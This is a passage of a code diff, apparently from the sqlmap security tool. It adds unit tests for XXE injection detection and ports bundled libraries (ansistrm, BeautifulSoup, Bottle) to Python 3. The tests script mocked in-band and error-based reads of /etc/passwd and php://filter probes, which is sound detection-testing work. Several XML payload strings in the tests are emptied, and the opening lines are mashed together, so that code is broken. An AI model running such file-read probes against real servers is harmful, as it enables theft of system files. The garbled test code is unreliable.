positive that fabricated 'file contents') + import re as _re + + def mock(body): + m = _re.search(r"x", "u", "/etc/passwd") + self.assertIsNone(content) + + def test_inband_read_accepts_genuine_expansion(self): + # a genuine file read: the requested path returns real content, a NONEXISTENT path returns + # something different -> the matched control passes and the content is accepted + import re as _re + + def mock(body): + mk = _re.search(r'(\w{8})&\w+;(\w{8})', body) + if not (mk and "SYSTEM" in body and "php://filter" not in body): + return "nope" + if "/etc/passwd" in body: + return "%sroot:x:0:0:root:/root:/bin/bash%s" % (mk.group(1), mk.group(2)) + return "%s%s" % (mk.group(1), mk.group(2)) # nonexistent path -> empty between markers + + xxe._send = mock + content, _ = xxe._tryInbandFileRead("x", "u", "/etc/passwd") + self.assertEqual(content, "root:x:0:0:root:/root:/bin/bash") + + def test_inband_read_rejects_path_independent_placeholder(self): + # P0-2: a gateway returns a FIXED placeholder for every path (real + nonexistent). The matched + # control sees identical content and rejects it as not-genuine file contents. + import re as _re + + def mock(body): + mk = _re.search(r'(\w{8})&\w+;(\w{8})', body) + if not (mk and "SYSTEM" in body and "php://filter" not in body): + return "nope" + return "%s[external entity disabled]%s" % (mk.group(1), mk.group(2)) # same for ANY path + + xxe._send = mock + content, _ = xxe._tryInbandFileRead("x", "u", "/etc/passwd") + self.assertIsNone(content) + + def test_internal_echo_rejected(self): + # endpoint mirrors the raw body back (never parses) -> must NOT be a hit + xxe._send = lambda body: "You sent: %s" % body + payload, _ = xxe._tryInternal("luther", "u", baseline="You sent: luther") + self.assertIsNone(payload) + + def test_internal_baseline_contains_sentinel_rejected(self): + xxe._send = lambda body: "Hello, %s!" % xxe.SENTINEL + payload, _ = xxe._tryInternal("luther", "u", baseline="already %s here" % xxe.SENTINEL) + self.assertIsNone(payload) + + def test_location_sweep_finds_non_first_leaf(self): + # The first leaf is inside which the (mock) app validates and strips; only the entity ref + # placed in the SECOND leaf () survives and reflects. The sweep must try location #1 and the + # engine must latch it so downstream read tiers reuse it - a fixed index=0 would be a false neg. + xml = "7luther" + self.assertEqual(xxe._textNodeCount(xml), 2) + + def mock(body): + # reflect the sentinel only when the entity ref sits in the second leaf (&ent;); + # a ref in the first leaf (&ent;) is validated away and never reflects + return ("Hello, %s!" % xxe.SENTINEL) if re.search(r"\s*&\w+;", body) else "Hello, !" + + xxe._send = mock + xxe._PLACE_INDEX = 0 + hit = None + for i in xxe._sweepLocations(xml): + payload, _ = xxe._tryInternal(xml, "u", baseline="Hello, luther!", index=i) + if payload: + hit = i + break + self.assertEqual(hit, 1) + # location #0 alone (the default) must NOT reflect -> proves the sweep was necessary + self.assertIsNone(xxe._tryInternal(xml, "u", baseline="Hello, luther!", index=0)[0]) + + def test_error_based_positive(self): + xxe._send = lambda body: 'XML error: failed to load external entity "file:///%s/nonexistent"' % xxe.SENTINEL + payload, page = xxe._tryError("x", "u") + self.assertIsNotNone(payload) + self.assertIsNotNone(xxe._fingerprint(page)) + + def test_error_based_echo_rejected(self): + xxe._send = lambda body: "You sent: %s" % body # echoes DOCTYPE/ENTITY -> _echoed guard + payload, _ = xxe._tryError("x", "u") + self.assertIsNone(payload) + + def test_error_exfil_extraction_base64(self): + import base64 + from lib.core.convert import getText + secret = getText(base64.b64encode(b"root:x:0:0:root:/root:/bin/sh")) + + def mock(body): + m = re.search(r'file:///(\w+)/%file;', body) or re.search(r'file:///(\w+)/%file;', body) + marker = m.group(1) if m else "zzz" + return 'failed to load "file:///%s/%s"' % (marker, secret) + + xxe._send = mock + conf.fileRead = "/etc/passwd" + try: + content, name = xxe._tryErrorExfil("x", "u") + finally: + conf.fileRead = None + self.assertEqual(name, "/etc/passwd") + self.assertIn("root:x:0:0", content or "") + + +class TestRealXmlPayloads(unittest.TestCase): + """Prove crafted payloads are well-formed and actually expand the entity.""" + + @staticmethod + def _expand(payload): + try: + from lxml import etree + except ImportError: + raise unittest.SkipTest("lxml not available") + parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True, huge_tree=False) + doc = etree.fromstring(payload.encode("utf-8"), parser) + return "".join(doc.itertext()) + + def test_internal_entity_expands(self): + xxe.SENTINEL = "realxmlsentinel" + ent = "abcd" + subset = '' % (ent, xxe.SENTINEL) + payload = xxe._placeRef(xxe._buildDoctype("luther", "u", subset), "&%s;" % ent) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + def test_internal_entity_expands_with_existing_doctype(self): + xxe.SENTINEL = "realxmlsentinel2" + ent = "efgh" + subset = '' % (ent, xxe.SENTINEL) + base = ']>luther' + payload = xxe._placeRef(xxe._buildDoctype(base, "u", subset), "&%s;" % ent) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + def test_attribute_entity_expands(self): + xxe.SENTINEL = "attrsentinel" + ent = "ijkl" + subset = '' % (ent, xxe.SENTINEL) + payload = xxe._placeRef(xxe._buildDoctype('x', "u", subset), "&%s;" % ent, attrs=True) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + +if __name__ == "__main__": + unittest.main() diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index 95d2b00be9a..4d9731c1b68 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -1,11 +1,26 @@ # # Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license. +# (Note: 2018 modifications by @stamparm) # + import logging -import os import re +import sys + +from lib.core.settings import IS_WIN + +if IS_WIN: + import ctypes + import ctypes.wintypes -from lib.core.convert import stdoutencode + # Reference: https://gist.github.com/vsajip/758430 + # https://github.com/ipython/ipython/issues/4252 + # https://msdn.microsoft.com/en-us/library/windows/desktop/ms686047%28v=vs.85%29.aspx + ctypes.windll.kernel32.SetConsoleTextAttribute.argtypes = [ctypes.wintypes.HANDLE, ctypes.wintypes.WORD] + ctypes.windll.kernel32.SetConsoleTextAttribute.restype = ctypes.wintypes.BOOL + +def stdoutEncode(data): # Cross-referenced function + return data class ColorizingStreamHandler(logging.StreamHandler): # color names to indices @@ -21,24 +36,16 @@ class ColorizingStreamHandler(logging.StreamHandler): } # levels to (background, foreground, bold/intense) - if os.name == 'nt': - level_map = { - logging.DEBUG: (None, 'blue', False), - logging.INFO: (None, 'green', False), - logging.WARNING: (None, 'yellow', False), - logging.ERROR: (None, 'red', False), - logging.CRITICAL: ('red', 'white', False) - } - else: - level_map = { - logging.DEBUG: (None, 'blue', False), - logging.INFO: (None, 'green', False), - logging.WARNING: (None, 'yellow', False), - logging.ERROR: (None, 'red', False), - logging.CRITICAL: ('red', 'white', False) - } + level_map = { + logging.DEBUG: (None, 'blue', False), + logging.INFO: (None, 'green', False), + logging.WARNING: (None, 'yellow', False), + logging.ERROR: (None, 'red', False), + logging.CRITICAL: ('red', 'white', False) + } csi = '\x1b[' reset = '\x1b[0m' + bold = "\x1b[1m" disable_coloring = False @property @@ -48,7 +55,7 @@ def is_tty(self): def emit(self, record): try: - message = stdoutencode(self.format(record)) + message = stdoutEncode(self.format(record)) stream = self.stream if not self.is_tty: @@ -67,7 +74,7 @@ def emit(self, record): except: self.handleError(record) - if os.name != 'nt': + if not IS_WIN: def output_colorized(self, message): self.stream.write(message) else: @@ -85,10 +92,7 @@ def output_colorized(self, message): } def output_colorized(self, message): - import ctypes - parts = self.ansi_esc.split(message) - write = self.stream.write h = None fd = getattr(self.stream, 'fileno', None) @@ -102,7 +106,8 @@ def output_colorized(self, message): text = parts.pop(0) if text: - write(text) + self.stream.write(text) + self.stream.flush() if parts: params = parts.pop(0) @@ -125,9 +130,19 @@ def output_colorized(self, message): ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) - def colorize(self, message, record): - if record.levelno in self.level_map and self.is_tty: - bg, fg, bold = self.level_map[record.levelno] + def _reset(self, message): + if not message.endswith(self.reset): + reset = self.reset + elif self.bold in message: # bold + reset = self.reset + self.bold + else: + reset = self.reset + + return reset + + def colorize(self, message, levelno): + if levelno in self.level_map and self.is_tty: + bg, fg, bold = self.level_map[levelno] params = [] if bg in self.color_map: @@ -153,4 +168,4 @@ def colorize(self, message, record): def format(self, record): message = logging.StreamHandler.format(self, record) - return self.colorize(message, record) + return self.colorize(message, record.levelno) diff --git a/thirdparty/beautifulsoup/__init__.py b/thirdparty/beautifulsoup/__init__.py index 7954a3d0a47..a905a4ce403 100644 --- a/thirdparty/beautifulsoup/__init__.py +++ b/thirdparty/beautifulsoup/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright (c) 2004-2010, Leonard Richardson # @@ -16,7 +16,7 @@ # disclaimer in the documentation and/or other materials provided # with the distribution. # -# * Neither the name of the the Beautiful Soup Consortium and All +# * Neither the name of the Beautiful Soup Consortium and All # Night Kosher Bakery nor the names of its contributors may be # used to endorse or promote products derived from this software # without specific prior written permission. diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index cde92ee112c..849956bb0e2 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -58,7 +58,7 @@ disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of the the Beautiful Soup Consortium and All + * Neither the name of the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -77,27 +77,47 @@ """ from __future__ import generators +from __future__ import print_function __author__ = "Leonard Richardson (leonardr@segfault.org)" -__version__ = "3.2.0" -__copyright__ = "Copyright (c) 2004-2010 Leonard Richardson" +__version__ = "3.2.1b" +__copyright__ = "Copyright (c) 2004-2012 Leonard Richardson" __license__ = "New-style BSD" -from sgmllib import SGMLParser, SGMLParseError import codecs -import markupbase -import types import re -import sgmllib +import sys + +if sys.version_info >= (3, 0): + xrange = range + text_type = str + binary_type = bytes + basestring = str + unichr = chr +else: + text_type = unicode + binary_type = str + try: - from htmlentitydefs import name2codepoint + from html.entities import name2codepoint except ImportError: - name2codepoint = {} + from htmlentitydefs import name2codepoint + try: set except NameError: from sets import Set as set +try: + import sgmllib +except ImportError: + from lib.utils import sgmllib + +try: + import markupbase +except ImportError: + import _markupbase as markupbase + #These hacks make Beautiful Soup able to parse XML with namespaces sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*') markupbase._declname_match = re.compile(r'[a-zA-Z][-_.:a-zA-Z0-9]*\s*').match @@ -106,7 +126,7 @@ def _match_css_class(str): """Build a RE to match the given CSS class.""" - return re.compile(r"(^|.*\s)%s($|\s)" % str) + return re.compile(r"(^|.*\s)%s($|\s)" % re.escape(str)) # First, the classes that represent markup elements. @@ -114,6 +134,21 @@ class PageElement(object): """Contains the navigational information for some part of the page (either a tag or a piece of text)""" + def _invert(h): + "Cheap function to invert a hash." + i = {} + for k,v in h.items(): + i[v] = k + return i + + XML_ENTITIES_TO_SPECIAL_CHARS = { "apos" : "'", + "quot" : '"', + "amp" : "&", + "lt" : "<", + "gt" : ">" } + + XML_SPECIAL_CHARS_TO_ENTITIES = _invert(XML_ENTITIES_TO_SPECIAL_CHARS) + def setup(self, parent=None, previous=None): """Sets up the initial relations between this element and other elements.""" @@ -355,7 +390,7 @@ def _findAll(self, name, attrs, text, limit, generator, **kwargs): g = generator() while True: try: - i = g.next() + i = next(g) except StopIteration: break if i: @@ -406,22 +441,24 @@ def substituteEncoding(self, str, encoding=None): def toEncoding(self, s, encoding=None): """Encodes an object to a string in some encoding, or to Unicode. .""" - if isinstance(s, unicode): - if encoding: - s = s.encode(encoding) - elif isinstance(s, str): + if isinstance(s, text_type): if encoding: s = s.encode(encoding) - else: - s = unicode(s) + elif isinstance(s, binary_type): + s = s.encode(encoding or "utf8") else: - if encoding: - s = self.toEncoding(str(s), encoding) - else: - s = unicode(s) + s = self.toEncoding(str(s), encoding or "utf8") return s -class NavigableString(unicode, PageElement): + BARE_AMPERSAND_OR_BRACKET = re.compile(r"([<>]|&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;))") + + def _sub_entity(self, x): + """Used with a regular expression to substitute the + appropriate XML entity for an XML special character.""" + return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";" + + +class NavigableString(text_type, PageElement): def __new__(cls, value): """Create a new NavigableString. @@ -431,9 +468,9 @@ def __new__(cls, value): passed in to the superclass's __new__ or the superclass won't know how to handle non-ASCII characters. """ - if isinstance(value, unicode): - return unicode.__new__(cls, value) - return unicode.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) + if isinstance(value, text_type): + return text_type.__new__(cls, value) + return text_type.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) def __getnewargs__(self): return (NavigableString.__str__(self),) @@ -445,16 +482,18 @@ def __getattr__(self, attr): if attr == 'string': return self else: - raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__.__name__, attr) + raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__.__name__, attr)) def __unicode__(self): return str(self).decode(DEFAULT_OUTPUT_ENCODING) def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): - if encoding: - return self.encode(encoding) + # Substitute outgoing XML entities. + data = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, self) + if encoding and sys.version_info < (3, 0): + return data.encode(encoding) else: - return self + return data class CData(NavigableString): @@ -480,45 +519,34 @@ class Tag(PageElement): """Represents a found HTML tag with its attributes and contents.""" - def _invert(h): - "Cheap function to invert a hash." - i = {} - for k,v in h.items(): - i[v] = k - return i - - XML_ENTITIES_TO_SPECIAL_CHARS = { "apos" : "'", - "quot" : '"', - "amp" : "&", - "lt" : "<", - "gt" : ">" } - - XML_SPECIAL_CHARS_TO_ENTITIES = _invert(XML_ENTITIES_TO_SPECIAL_CHARS) - def _convertEntities(self, match): """Used in a call to re.sub to replace HTML, XML, and numeric entities with the appropriate Unicode characters. If HTML entities are being converted, any unrecognized entities are escaped.""" - x = match.group(1) - if self.convertHTMLEntities and x in name2codepoint: - return unichr(name2codepoint[x]) - elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS: - if self.convertXMLEntities: - return self.XML_ENTITIES_TO_SPECIAL_CHARS[x] - else: - return u'&%s;' % x - elif len(x) > 0 and x[0] == '#': - # Handle numeric entities - if len(x) > 1 and x[1] == 'x': - return unichr(int(x[2:], 16)) - else: - return unichr(int(x[1:])) + try: + x = match.group(1) + if self.convertHTMLEntities and x in name2codepoint: + return unichr(name2codepoint[x]) + elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS: + if self.convertXMLEntities: + return self.XML_ENTITIES_TO_SPECIAL_CHARS[x] + else: + return u'&%s;' % x + elif len(x) > 0 and x[0] == '#': + # Handle numeric entities + if len(x) > 1 and x[1] == 'x': + return unichr(int(x[2:], 16)) + else: + return unichr(int(x[1:])) - elif self.escapeUnrecognizedEntities: - return u'&%s;' % x - else: - return u'&%s;' % x + elif self.escapeUnrecognizedEntities: + return u'&%s;' % x + + except ValueError: # e.g. ValueError: unichr() arg not in range(0x10000) + pass + + return u'&%s;' % x def __init__(self, parser, name, attrs=None, parent=None, previous=None): @@ -543,10 +571,11 @@ def __init__(self, parser, name, attrs=None, parent=None, self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. - convert = lambda(k, val): (k, - re.sub("&(#\d+|#x[0-9a-fA-F]+|\w+);", - self._convertEntities, - val)) + # Reference: https://github.com/pkrumins/xgoogle/pull/16/commits/3dba1165c436b0d6e5bdbd09e53ca0dbf8a043f8 + convert = lambda k_val: (k_val[0], + re.sub(r"&(#\d+|#x[0-9a-fA-F]+|\w+);", + self._convertEntities, + k_val[1])) self.attrs = map(convert, self.attrs) def getString(self): @@ -567,7 +596,7 @@ def getText(self, separator=u""): stopNode = self._lastRecursiveChild().next strings = [] current = self.contents[0] - while current is not stopNode: + while current and current is not stopNode: if isinstance(current, NavigableString): strings.append(current.strip()) current = current.next @@ -644,7 +673,7 @@ def __call__(self, *args, **kwargs): """Calling a tag like a function is the same as calling its findAll() method. Eg. tag('a') returns a list of all the A tags found within this tag.""" - return apply(self.findAll, args, kwargs) + return self.findAll(*args, **kwargs) def __getattr__(self, tag): #print "Getattr %s.%s" % (self.__class__, tag) @@ -652,7 +681,7 @@ def __getattr__(self, tag): return self.find(tag[:-3]) elif tag.find('__') != 0: return self.find(tag) - raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__, tag) + raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__, tag)) def __eq__(self, other): """Returns true iff this tag has the same name, the same attributes, @@ -681,15 +710,6 @@ def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING): def __unicode__(self): return self.__str__(None) - BARE_AMPERSAND_OR_BRACKET = re.compile("([<>]|" - + "&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;)" - + ")") - - def _sub_entity(self, x): - """Used with a regular expression to substitute the - appropriate XML entity for an XML special character.""" - return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";" - def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Returns a string or Unicode representation of this tag and @@ -814,6 +834,7 @@ def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING, s.append(text) if prettyPrint: s.append("\n") + return ''.join(s) #Soup methods @@ -874,10 +895,10 @@ def childGenerator(self): def recursiveChildGenerator(self): if not len(self.contents): - raise StopIteration + return # Note: https://stackoverflow.com/a/30217723 (PEP 479) stopNode = self._lastRecursiveChild().next current = self.contents[0] - while current is not stopNode: + while current and current is not stopNode: yield current current = current.next @@ -967,8 +988,8 @@ def search(self, markup): if self._matches(markup, self.text): found = markup else: - raise Exception, "I don't know how to match against a %s" \ - % markup.__class__ + raise Exception("I don't know how to match against a %s" \ + % markup.__class__) return found def _matches(self, markup, matchAgainst): @@ -984,7 +1005,7 @@ def _matches(self, markup, matchAgainst): if isinstance(markup, Tag): markup = markup.name if markup and not isinstance(markup, basestring): - markup = unicode(markup) + markup = text_type(markup) #Now we know that chunk is either a string, or None. if hasattr(matchAgainst, 'match'): # It's a regexp object. @@ -994,8 +1015,8 @@ def _matches(self, markup, matchAgainst): elif hasattr(matchAgainst, 'items'): result = markup.has_key(matchAgainst) elif matchAgainst and isinstance(markup, basestring): - if isinstance(markup, unicode): - matchAgainst = unicode(matchAgainst) + if isinstance(markup, text_type): + matchAgainst = text_type(matchAgainst) else: matchAgainst = str(matchAgainst) @@ -1033,7 +1054,7 @@ def buildTagMap(default, *args): # Now, the parser classes. -class BeautifulStoneSoup(Tag, SGMLParser): +class BeautifulStoneSoup(Tag, sgmllib.SGMLParser): """This class contains the basic parser and search code. It defines a parser that knows nothing about tag behavior except for the @@ -1057,9 +1078,9 @@ class BeautifulStoneSoup(Tag, SGMLParser): QUOTE_TAGS = {} PRESERVE_WHITESPACE_TAGS = [] - MARKUP_MASSAGE = [(re.compile('(<[^<>]*)/>'), + MARKUP_MASSAGE = [(re.compile(r'(<[^<>]*)/>'), lambda x: x.group(1) + ' />'), - (re.compile(']*)>'), + (re.compile(r']*)>'), lambda x: '') ] @@ -1134,7 +1155,7 @@ class has some tricks for dealing with some HTML that kills self.escapeUnrecognizedEntities = False self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags) - SGMLParser.__init__(self) + sgmllib.SGMLParser.__init__(self) if hasattr(markup, 'read'): # It's a file-type object. markup = markup.read() @@ -1159,7 +1180,7 @@ def convert_charref(self, name): def _feed(self, inDocumentEncoding=None, isHTML=False): # Convert the document to Unicode. markup = self.markup - if isinstance(markup, unicode): + if isinstance(markup, text_type): if not hasattr(self, 'originalEncoding'): self.originalEncoding = None else: @@ -1183,7 +1204,7 @@ def _feed(self, inDocumentEncoding=None, isHTML=False): del(self.markupMassage) self.reset() - SGMLParser.feed(self, markup) + sgmllib.SGMLParser.feed(self, markup) # Close out any unfinished strings and close all the open tags. self.endData() while self.currentTag.name != self.ROOT_TAG_NAME: @@ -1196,7 +1217,7 @@ def __getattr__(self, methodName): if methodName.startswith('start_') or methodName.startswith('end_') \ or methodName.startswith('do_'): - return SGMLParser.__getattr__(self, methodName) + return sgmllib.SGMLParser.__getattr__(self, methodName) elif not methodName.startswith('__'): return Tag.__getattr__(self, methodName) else: @@ -1205,13 +1226,13 @@ def __getattr__(self, methodName): def isSelfClosingTag(self, name): """Returns true iff the given string is the name of a self-closing tag according to this parser.""" - return self.SELF_CLOSING_TAGS.has_key(name) \ - or self.instanceSelfClosingTags.has_key(name) + return name in self.SELF_CLOSING_TAGS \ + or name in self.instanceSelfClosingTags def reset(self): Tag.__init__(self, self, self.ROOT_TAG_NAME) self.hidden = 1 - SGMLParser.reset(self) + sgmllib.SGMLParser.reset(self) self.currentData = [] self.currentTag = None self.tagStack = [] @@ -1298,7 +1319,7 @@ def _smartPop(self, name): nestingResetTriggers = self.NESTABLE_TAGS.get(name) isNestable = nestingResetTriggers != None - isResetNesting = self.RESET_NESTING_TAGS.has_key(name) + isResetNesting = name in self.RESET_NESTING_TAGS popTo = None inclusive = True for i in xrange(len(self.tagStack)-1, 0, -1): @@ -1311,7 +1332,7 @@ def _smartPop(self, name): if (nestingResetTriggers is not None and p.name in nestingResetTriggers) \ or (nestingResetTriggers is None and isResetNesting - and self.RESET_NESTING_TAGS.has_key(p.name)): + and p.name in self.RESET_NESTING_TAGS): #If we encounter one of the nesting reset triggers #peculiar to this tag, or we encounter another tag @@ -1457,8 +1478,8 @@ def parse_declaration(self, i): self._toStringSubclass(data, CData) else: try: - j = SGMLParser.parse_declaration(self, i) - except SGMLParseError: + j = sgmllib.SGMLParser.parse_declaration(self, i) + except sgmllib.SGMLParseError: toHandle = self.rawdata[i:] self.handle_data(toHandle) j = i + len(toHandle) @@ -1513,7 +1534,7 @@ class BeautifulSoup(BeautifulStoneSoup): BeautifulStoneSoup before writing your own subclass.""" def __init__(self, *args, **kwargs): - if not kwargs.has_key('smartQuotesTo'): + if 'smartQuotesTo' not in kwargs: kwargs['smartQuotesTo'] = self.HTML_ENTITIES kwargs['isHTML'] = True BeautifulStoneSoup.__init__(self, *args, **kwargs) @@ -1568,7 +1589,7 @@ def __init__(self, *args, **kwargs): NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) # Used to detect the charset in a META tag; see start_meta - CHARSET_RE = re.compile("((^|;)\s*charset=)([^;]*)", re.M) + CHARSET_RE = re.compile(r"((^|;)\s*charset=)([^;]*)", re.M) def start_meta(self, attrs): """Beautiful Soup can detect a charset included in a META tag, @@ -1770,9 +1791,9 @@ def __init__(self, markup, overrideEncodings=[], self._detectEncoding(markup, isHTML) self.smartQuotesTo = smartQuotesTo self.triedEncodings = [] - if markup == '' or isinstance(markup, unicode): + if markup == '' or isinstance(markup, text_type): self.originalEncoding = None - self.unicode = unicode(markup) + self.unicode = text_type(markup) return u = None @@ -1785,7 +1806,7 @@ def __init__(self, markup, overrideEncodings=[], if u: break # If no luck and we have auto-detection library, try that: - if not u and chardet and not isinstance(self.markup, unicode): + if not u and chardet and not isinstance(self.markup, text_type): u = self._convertFrom(chardet.detect(self.markup)['encoding']) # As a last resort, try utf-8 and windows-1252: @@ -1821,7 +1842,7 @@ def _convertFrom(self, proposed): "iso-8859-1", "iso-8859-2"): markup = re.compile("([\x80-\x9f])").sub \ - (lambda(x): self._subMSChar(x.group(1)), + (lambda x: self._subMSChar(x.group(1)), markup) try: @@ -1829,7 +1850,7 @@ def _convertFrom(self, proposed): u = self._toUnicode(markup, proposed) self.markup = u self.originalEncoding = proposed - except Exception, e: + except Exception as e: # print "That didn't work!" # print e return None @@ -1858,7 +1879,7 @@ def _toUnicode(self, data, encoding): elif data[:4] == '\xff\xfe\x00\x00': encoding = 'utf-32le' data = data[4:] - newdata = unicode(data, encoding) + newdata = text_type(data, encoding) return newdata def _detectEncoding(self, xml_data, isHTML=False): @@ -1871,50 +1892,50 @@ def _detectEncoding(self, xml_data, isHTML=False): elif xml_data[:4] == '\x00\x3c\x00\x3f': # UTF-16BE sniffed_xml_encoding = 'utf-16be' - xml_data = unicode(xml_data, 'utf-16be').encode('utf-8') + xml_data = text_type(xml_data, 'utf-16be').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xfe\xff') \ and (xml_data[2:4] != '\x00\x00'): # UTF-16BE with BOM sniffed_xml_encoding = 'utf-16be' - xml_data = unicode(xml_data[2:], 'utf-16be').encode('utf-8') + xml_data = text_type(xml_data[2:], 'utf-16be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x3f\x00': # UTF-16LE sniffed_xml_encoding = 'utf-16le' - xml_data = unicode(xml_data, 'utf-16le').encode('utf-8') + xml_data = text_type(xml_data, 'utf-16le').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xff\xfe') and \ (xml_data[2:4] != '\x00\x00'): # UTF-16LE with BOM sniffed_xml_encoding = 'utf-16le' - xml_data = unicode(xml_data[2:], 'utf-16le').encode('utf-8') + xml_data = text_type(xml_data[2:], 'utf-16le').encode('utf-8') elif xml_data[:4] == '\x00\x00\x00\x3c': # UTF-32BE sniffed_xml_encoding = 'utf-32be' - xml_data = unicode(xml_data, 'utf-32be').encode('utf-8') + xml_data = text_type(xml_data, 'utf-32be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x00\x00': # UTF-32LE sniffed_xml_encoding = 'utf-32le' - xml_data = unicode(xml_data, 'utf-32le').encode('utf-8') + xml_data = text_type(xml_data, 'utf-32le').encode('utf-8') elif xml_data[:4] == '\x00\x00\xfe\xff': # UTF-32BE with BOM sniffed_xml_encoding = 'utf-32be' - xml_data = unicode(xml_data[4:], 'utf-32be').encode('utf-8') + xml_data = text_type(xml_data[4:], 'utf-32be').encode('utf-8') elif xml_data[:4] == '\xff\xfe\x00\x00': # UTF-32LE with BOM sniffed_xml_encoding = 'utf-32le' - xml_data = unicode(xml_data[4:], 'utf-32le').encode('utf-8') + xml_data = text_type(xml_data[4:], 'utf-32le').encode('utf-8') elif xml_data[:3] == '\xef\xbb\xbf': # UTF-8 with BOM sniffed_xml_encoding = 'utf-8' - xml_data = unicode(xml_data[3:], 'utf-8').encode('utf-8') + xml_data = text_type(xml_data[3:], 'utf-8').encode('utf-8') else: sniffed_xml_encoding = 'ascii' pass except: xml_encoding_match = None xml_encoding_match = re.compile( - '^<\?.*encoding=[\'"](.*?)[\'"].*\?>').match(xml_data) + r'^<\?.*encoding=[\'"](.*?)[\'"].*\?>').match(xml_data) if not xml_encoding_match and isHTML: - regexp = re.compile('<\s*meta[^>]+charset=([^>]*?)[;\'">]', re.I) + regexp = re.compile(r'<\s*meta[^>]+charset=([^>]*?)[;\'">]', re.I) xml_encoding_match = regexp.search(xml_data) if xml_encoding_match is not None: xml_encoding = xml_encoding_match.groups()[0].lower() @@ -2009,6 +2030,5 @@ def _ebcdic_to_ascii(self, s): #By default, act as an HTML pretty-printer. if __name__ == '__main__': - import sys soup = BeautifulSoup(sys.stdin) - print soup.prettify() + print(soup.prettify()) diff --git a/thirdparty/bottle/__init__.py b/thirdparty/bottle/__init__.py index 8d7bcd8f0a1..2ae28399f5f 100644 --- a/thirdparty/bottle/__init__.py +++ b/thirdparty/bottle/__init__.py @@ -1,8 +1 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - pass diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index 62c9010ea99..56a250b6b7a 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -1,77 +1,90 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- +from __future__ import print_function """ Bottle is a fast and simple micro-framework for small web applications. It -offers request dispatching (Routes) with url parameter support, templates, +offers request dispatching (Routes) with URL parameter support, templates, a built-in HTTP Server and adapters for many third party WSGI/HTTP-server and template engines - all in a single file and with no dependencies other than the Python Standard Library. Homepage and documentation: http://bottlepy.org/ -Copyright (c) 2012, Marcel Hellkamp. +Copyright (c) 2009-2024, Marcel Hellkamp. License: MIT (see LICENSE for details) """ -from __future__ import with_statement +import sys __author__ = 'Marcel Hellkamp' -__version__ = '0.12-dev' +__version__ = '0.13.4' __license__ = 'MIT' -# The gevent server adapter needs to patch some modules before they are imported -# This is why we parse the commandline parameters here but handle them later -if __name__ == '__main__': - from optparse import OptionParser - _cmd_parser = OptionParser(usage="usage: %prog [options] package.module:app") - _opt = _cmd_parser.add_option - _opt("--version", action="store_true", help="show version number.") - _opt("-b", "--bind", metavar="ADDRESS", help="bind socket to ADDRESS.") - _opt("-s", "--server", default='wsgiref', help="use SERVER as backend.") - _opt("-p", "--plugin", action="append", help="install additional plugin/s.") - _opt("--debug", action="store_true", help="start server in debug mode.") - _opt("--reload", action="store_true", help="auto-reload on file changes.") - _cmd_options, _cmd_args = _cmd_parser.parse_args() - if _cmd_options.server and _cmd_options.server.startswith('gevent'): - import gevent.monkey; gevent.monkey.patch_all() - -import base64, cgi, email.utils, functools, hmac, imp, itertools, mimetypes,\ - os, re, subprocess, sys, tempfile, threading, time, urllib, warnings +############################################################################### +# Command-line interface ###################################################### +############################################################################### +# INFO: Some server adapters need to monkey-patch std-lib modules before they +# are imported. This is why some of the command-line handling is done here, but +# the actual call to _main() is at the end of the file. -from datetime import date as datedate, datetime, timedelta -from tempfile import TemporaryFile -from traceback import format_exc, print_exc -try: from json import dumps as json_dumps, loads as json_lds -except ImportError: # pragma: no cover - try: from simplejson import dumps as json_dumps, loads as json_lds - except ImportError: - try: from django.utils.simplejson import dumps as json_dumps, loads as json_lds - except ImportError: - def json_dumps(data): - raise ImportError("JSON support requires Python 2.6 or simplejson.") - json_lds = json_dumps 